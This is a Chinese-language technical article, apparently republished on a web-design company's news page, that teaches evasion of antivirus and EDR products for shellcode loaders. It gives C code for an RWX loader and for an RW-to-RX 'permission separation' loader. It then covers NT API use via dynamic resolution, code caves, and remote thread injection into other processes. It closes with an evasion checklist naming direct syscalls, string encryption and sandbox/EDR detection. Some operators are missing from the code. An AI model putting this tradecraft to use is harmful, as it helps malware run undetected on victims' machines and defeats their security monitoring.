ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

从RWX到权限分离:ShellCode加载器的现代免杀实践

从RWX到权限分离:ShellCode加载器的现代免杀实践 最近在和一些做安全研究的朋友交流时发现一个挺有意思的现象很多刚接触免杀的同学拿到一段 ShellCode 后第一反应就是去找一个“加载器”然后照着教程用VirtualAlloc申请RWX可读可写可执行内存把 ShellCode 拷进去最后跳转执行。流程跑通了在虚拟机里弹个计算器成就感满满。但一旦放到稍微有点防护的环境里比如装了主流 EDR终端检测与响应的机器上几乎瞬间就被检测出来。问题出在哪不是 ShellCode 本身不够隐蔽也不是加密算法不够强而是那个最不起眼的加载步骤——申请RWX内存。在今天的终端安全视野里一个进程突然申请一块可写又可执行的内存然后把一段不明数据写进去并执行这个行为本身就是一个极其强烈的恶意信号。它几乎是在对 EDR 大喊“快来看我在这里干坏事”所以免杀的入门远不止是给 ShellCode 加个壳或换个编码。真正的第一课是理解现代 EDR 的检测逻辑并学会“像正常程序一样做事”。而“权限分离”就是这第一课里最核心的原则。它要求我们把“数据写入”和“代码执行”这两个动作从时间和空间上拆分开用更符合正常软件行为模式的方式来加载 ShellCode。这篇文章我们就来彻底拆解这个从“RWX 全家桶”到“权限分离”的思维转变与实践路径。1. 为什么“RWX”成了EDR眼中的头号嫌疑犯要绕过检测首先得知道别人是怎么抓你的。EDR 对进程行为的监控是立体的它不仅仅看你的文件静态特征哈希、签名更关注你的运行时行为。其中内存操作是行为监控的重中之重。1.1 EDR 的内存行为监控维度一个典型的 EDR 驱动或钩子Hook会监控一系列关键的系统 API尤其是内存管理相关的。当你调用VirtualAlloc、VirtualProtect、WriteProcessMemory等函数时EDR 有机会在函数执行前后进行检查。它们会关注内存权限的申请与变更申请PAGE_EXECUTE_READWRITE(RWX) 权限的内存本身就是一个高危行为。合法软件极少需要同时具备可写和可执行权限的内存块。更多情况下代码段是RX可读可执行数据段是RW可读可写。权限的“升格”操作先申请RW可读可写内存写入数据然后通过VirtualProtect将其改为RX可读可执行这个“从数据到代码”的转变过程同样可疑。内存内容的来源与执行将一块非映像文件比如来自网络、资源段或解密缓冲区的数据设置成可执行并跳转过去这违背了操作系统的典型内存布局原则。RWX加载器之所以“经典”是因为它简单直接一次性完成了内存申请、写入、执行的所有准备工作。但这种简单恰恰是它最大的弱点——它创造了一个在正常软件中极为罕见的行为模式一个完美的检测特征。1.2 正常软件的内存使用模式反观一个正常的软件比如一个文本编辑器它的.text代码段在磁盘上就是可执行的加载到内存后操作系统会将其映射为RX权限。它的.data数据段用于存储变量权限是RW。它动态申请内存如malloc/new用于处理数据这些内存默认是RW绝不会是X可执行。整个生命周期中几乎没有理由去创建一块同时可写又可执行的内存。因此EDR 的策略非常清晰将“申请或创建 RWX 内存区域”作为一个高权重威胁指标IoC。一旦触发即使你的文件本身静态免杀做得再好也会在运行时被重点关照甚至直接终止。2. 权限分离的核心思想拆解“写入”与“执行”既然同时做“写入”和“执行”太显眼那我们就把它拆开分步进行并且每一步都尽量模仿正常行为。这就是“权限分离”加载器的核心思路。其流程可以抽象为三个阶段分配阶段申请内存但只给予数据权限如PAGE_READWRITE。填充阶段将 ShellCode通常是解密后写入这块内存。此时内存仍是数据属性。转换与执行阶段改变这块内存的权限使其变为可执行如PAGE_EXECUTE_READ然后跳转执行。这个“先数据后代码”的过程虽然最终结果同样是执行了外来代码但其行为模式更接近于一些合法的场景例如即时编译JIT运行时生成机器码并执行。软件保护壳解密原始代码后执行。某些脚本引擎的动态代码生成。这些场景在受信任的软件中是被允许的因此 EDR 对单一RW-RX转换的判定会比直接RWX宽松一些或者说需要结合更多上下文如进程信誉、父进程、调用链来判断。这就给了我们操作的空间。3. 实战构建一个基础的权限分离加载器让我们用 C 语言实现一个最基础的权限分离加载器并与传统的 RWX 加载器进行对比。假设我们已经通过某种方式如 XOR 加密、AES 解密获得了一段明文的 ShellCode 字节数组shellcode[]及其长度shellcode_len。3.1 传统 RWX 加载器高危示例#include windows.h int main() { // 1. 申请 RWX 内存 LPVOID execMem VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (execMem NULL) { return -1; } // 2. 写入 ShellCode memcpy(execMem, shellcode, shellcode_len); // 3. 跳转执行 ( (void(*)()) execMem )(); return 0; }问题分析VirtualAlloc直接使用PAGE_EXECUTE_READWRITE标志。这是最容易被检测的签名之一。3.2 权限分离加载器基础版#include windows.h int main() { // 1. 申请 RW 内存数据权限 LPVOID pMem VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (pMem NULL) { return -1; } // 2. 写入 ShellCode此时是数据 memcpy(pMem, shellcode, shellcode_len); // 3. 更改内存权限为 RX代码权限 DWORD oldProtect 0; if (!VirtualProtect(pMem, shellcode_len, PAGE_EXECUTE_READ, oldProtect)) { VirtualFree(pMem, 0, MEM_RELEASE); return -1; } // 4. 跳转执行 ( (void(*)()) pMem )(); // 5. 执行后可以恢复权限或释放内存可选 // VirtualProtect(pMem, shellcode_len, oldProtect, oldProtect); // VirtualFree(pMem, 0, MEM_RELEASE); return 0; }关键改进VirtualAlloc使用PAGE_READWRITE这是一个非常普通的数据内存申请操作。写入操作发生在内存仍是数据属性时。VirtualProtect将内存属性从RW改为RX。这个操作虽然仍会被监控但其普遍性远高于直接申请RWX。这个基础版已经能够绕过一些仅依赖静态特征或简单RWX检测的初级防护。但它远非终点EDR 同样会监控VirtualProtect的调用尤其是当它用于将可写内存改为可执行时。4. 进阶对抗模糊化与合法化内存操作要进一步提升隐蔽性我们需要让内存操作更“低调”或者嫁接到合法的系统行为上。4.1 使用更底层的 APIVirtualAlloc和VirtualProtect是用户层的高层API容易被钩住。我们可以尝试使用更底层的 NT API例如NtAllocateVirtualMemory和NtProtectVirtualMemory。这些函数是VirtualAlloc和VirtualProtect的底层实现有时EDR的钩子可能只挂在高层API上。#include windows.h #include winternl.h // 需要声明 NT API 函数原型 typedef NTSTATUS (NTAPI *pNtAllocateVirtualMemory)( HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect ); typedef NTSTATUS (NTAPI *pNtProtectVirtualMemory)( HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T NumberOfBytesToProtect, ULONG NewAccessProtection, PULONG OldAccessProtection ); // 动态获取函数地址 pNtAllocateVirtualMemory NtAllocateVirtualMemory; pNtProtectVirtualMemory NtProtectVirtualMemory; // 初始化函数指针通常在DllMain或初始化函数中 HMODULE hNtdll GetModuleHandleA(ntdll.dll); NtAllocateVirtualMemory (pNtAllocateVirtualMemory)GetProcAddress(hNtdll, NtAllocateVirtualMemory); NtProtectVirtualMemory (pNtProtectVirtualMemory)GetProcAddress(hNtdll, NtProtectVirtualMemory); // 使用 NT API 分配 RW 内存 PVOID baseAddr NULL; SIZE_T regionSize shellcode_len; NTSTATUS status NtAllocateVirtualMemory(GetCurrentProcess(), baseAddr, 0, ®ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // ... 写入 ShellCode ... // 使用 NT API 修改权限为 RX ULONG oldProtect; status NtProtectVirtualMemory(GetCurrentProcess(), baseAddr, ®ionSize, PAGE_EXECUTE_READ, oldProtect);注意现代 EDR 同样会钩住这些 NT API。这只是一种绕过浅层钩子的方法并非银弹。4.2 利用合法的可执行内存区域与其自己申请和转换内存不如“借用”系统中已经存在的、具有可执行权限的内存区域。例如PE文件中的代码缝隙在程序自身的.text段或其他可执行模块中寻找未被使用的代码“洞穴”Code Caves将 ShellCode 填入并执行。这需要精确计算偏移和避免破坏原有功能。内存映射文件映射一个合法的 DLL 或 EXE 文件到内存利用其固有的可执行内存页。这种方法技术难度较高需要对PE结构有深入理解且通用性不强。4.3 进程注入与远程线程创建中的权限分离在进程注入场景中权限分离原则同样适用且更为重要。常见的CreateRemoteThread注入配合VirtualAllocEx时也应避免直接申请RWX内存。改进的远程注入流程在目标进程申请RW内存 (VirtualAllocExwithPAGE_READWRITE)。写入 ShellCode (WriteProcessMemory)。更改内存权限为RX(VirtualProtectEx)。创建远程线程执行 (CreateRemoteThread)。4.4 时序与逻辑混淆将“写入”和“权限更改”两个操作在时间上分离或者与大量合法的内存操作混合在一起增加EDR行为分析的难度。例如先申请一大块RW内存在程序运行过程中的不同时间点分多次写入 ShellCode 的片段最后再一次性更改权限并执行。这需要更复杂的加载器逻辑。5. 工程化考量与防御规避清单构建一个用于实战的加载器不仅仅是实现功能更要考虑稳定性和对抗性。以下是一份简化的检查清单考量维度传统 RWX 加载器权限分离加载器进阶目标内存权限直接使用PAGE_EXECUTE_READWRITE始终遵循RW-RX分离原则API 调用直接调用VirtualAlloc/VirtualProtect考虑使用 NT API、系统调用Syscall或间接调用调用链调用链简单直接混淆调用链插入无害的系统调用或库函数调用内存特征创建新的、孤立的 RWX 区域尝试复用已有的可执行内存区域时序特征分配、写入、执行快速连续发生引入延迟、分阶段操作模仿 JIT 或模块加载行为静态特征字符串、导入表可能暴露 API动态解析 API、字符串加密、消除可疑导入项环境感知无可加入沙箱检测、调试器检测、EDR进程检测逻辑重要提醒Syscall系统调用直接通过汇编指令发起系统调用是绕过用户层钩子Userland Hook的强力手段。但实现复杂且需要处理不同 Windows 版本的系统调用号差异稳定性挑战大。动态解析使用GetProcAddress动态获取关键函数地址避免在导入表中留下明显痕迹。字符串隐藏所有敏感的 API 函数名、ShellCode 特征字符串都应加密或混淆。6. 总结从“功能实现”到“行为模仿”的思维跃迁回顾整个历程从简单的 RWX 加载器到实现权限分离再到考虑各种进阶对抗技巧其核心驱动力是一个思维的转变从只关注“让代码跑起来”转变为关注“如何让代码像正常软件一样跑起来”。免杀不是魔法不是找到一个“无敌”的工具就一劳永逸。它是一个持续的对抗过程是对操作系统机制、安全产品逻辑和软件正常行为的深度理解。权限分离只是这个庞大课题中的第一块基石。它告诉我们在 EDR 的视角下行为的“异常性”比代码的“恶意性”更容易被捕捉。因此当你下次再编写或使用一个 ShellCode 加载器时不妨先问自己几个问题我申请内存的方式和一个文本编辑器申请缓冲区的方式有区别吗我修改内存权限的理由在合法的软件生态中是否存在我的整个加载流程在时间序列上是否显得过于“紧凑”和“目的明确”通过权限分离我们迈出了模仿正常行为的第一步。但这仅仅是开始。后续还有更多的挑战例如如何更隐蔽地注入到其他进程、如何对抗内存扫描、如何混淆执行流等等。掌握“权限分离”这一课是为后续所有这些更复杂的对抗技术打下坚实的行为基础。记住最好的隐藏就是成为背景噪音的一部分。
返回列表